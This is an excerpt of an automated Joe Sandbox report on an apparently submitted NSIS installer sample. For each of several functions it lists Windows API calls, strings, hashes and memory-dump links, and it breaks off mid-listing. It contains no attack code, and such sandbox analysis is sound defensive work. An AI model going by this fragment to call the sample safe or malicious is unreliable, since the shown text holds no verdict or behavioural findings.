Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNELBASE(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

New install of "%s" to "%s", xrefs: 00405182
{, xrefs: 00405352
@rD, xrefs: 004053D7

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: 71b8ecf663d6f058a1c3ced55927feebbdcf1e8b0d86afd2c4b352cd48bee751
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: 71b8ecf663d6f058a1c3ced55927feebbdcf1e8b0d86afd2c4b352cd48bee751
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @rD
API String ID: 3282139019-3814967855
Opcode ID: 9cf786e25966daeabf755d20ab7dea7749e4d7b73da7bae0acc5cbd00c8c4fee
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 9cf786e25966daeabf755d20ab7dea7749e4d7b73da7bae0acc5cbd00c8c4fee
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Rename on reboot: %s, xrefs: 00401943
Rename: %s, xrefs: 004018F8
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
SetFileAttributes failed., xrefs: 004017A1
Aborting: "%s", xrefs: 0040161D
CreateDirectory: "%s" created, xrefs: 00401849
BringToFront, xrefs: 004016BD
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
Call: %d, xrefs: 0040165A
Rename failed: %s, xrefs: 0040194B
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
SetFileAttributes: "%s":%08X, xrefs: 0040177B
detailprint: %s, xrefs: 00401679
Jump: %d, xrefs: 00401602
CreateDirectory: "%s" (%d), xrefs: 004017BF
Sleep(%d), xrefs: 0040169D

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

.exe, xrefs: 00405A3D
@%F, xrefs: 004059F6
Control Panel\Desktop\ResourceLocale, xrefs: 00405972
_Nb, xrefs: 00405AD1
RichEdit20A, xrefs: 00405BB6, 00405BBB
@rD, xrefs: 00405965
.DEFAULT\Control Panel\International, xrefs: 00405999
RichEdit, xrefs: 00405BC4
B%F, xrefs: 00405A1F
RichEd32, xrefs: 00405BA8
RichEd20, xrefs: 00405B9D

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 0b5ab136357e203ee2e090d14ec2b93cf78a9c4147554daf2c52a3a548f14690
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 0b5ab136357e203ee2e090d14ec2b93cf78a9c4147554daf2c52a3a548f14690
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,ManufactureJazz,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,ManufactureJazz,ManufactureJazz,00000000,00000000,ManufactureJazz,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

File: error, user abort, xrefs: 00401B53
File: error, user retry, xrefs: 00401B40
File: error, user cancel, xrefs: 00401B93
File: wrote %d to "%s", xrefs: 00401BD0
ManufactureJazz, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error creating "%s", xrefs: 00401AF0
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$ManufactureJazz
API String ID: 4286501637-218748646
Opcode ID: b155778cc10115f8d02ccc56e208397f172a866a515c636f57ea647fec07d827
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: b155778cc10115f8d02ccc56e208397f172a866a515c636f57ea647fec07d827
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926
@%F, xrefs: 0040682C
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF
@%F, xrefs: 00406A53

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 93666727498e5f08fd38b631bc67a6e1ad40de3ecc08933b567c44a166c18943
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 93666727498e5f08fd38b631bc67a6e1ad40de3ecc08933b567c44a166c18943
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

Null, xrefs: 0040367E
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
Inst, xrefs: 0040366C
soft, xrefs: 00403675
Error launching installer, xrefs: 004035D7

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

X1C, xrefs: 0040343C
X1C, xrefs: 004033ED
... %d%%, xrefs: 0040349E
P1B, xrefs: 004033A9

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
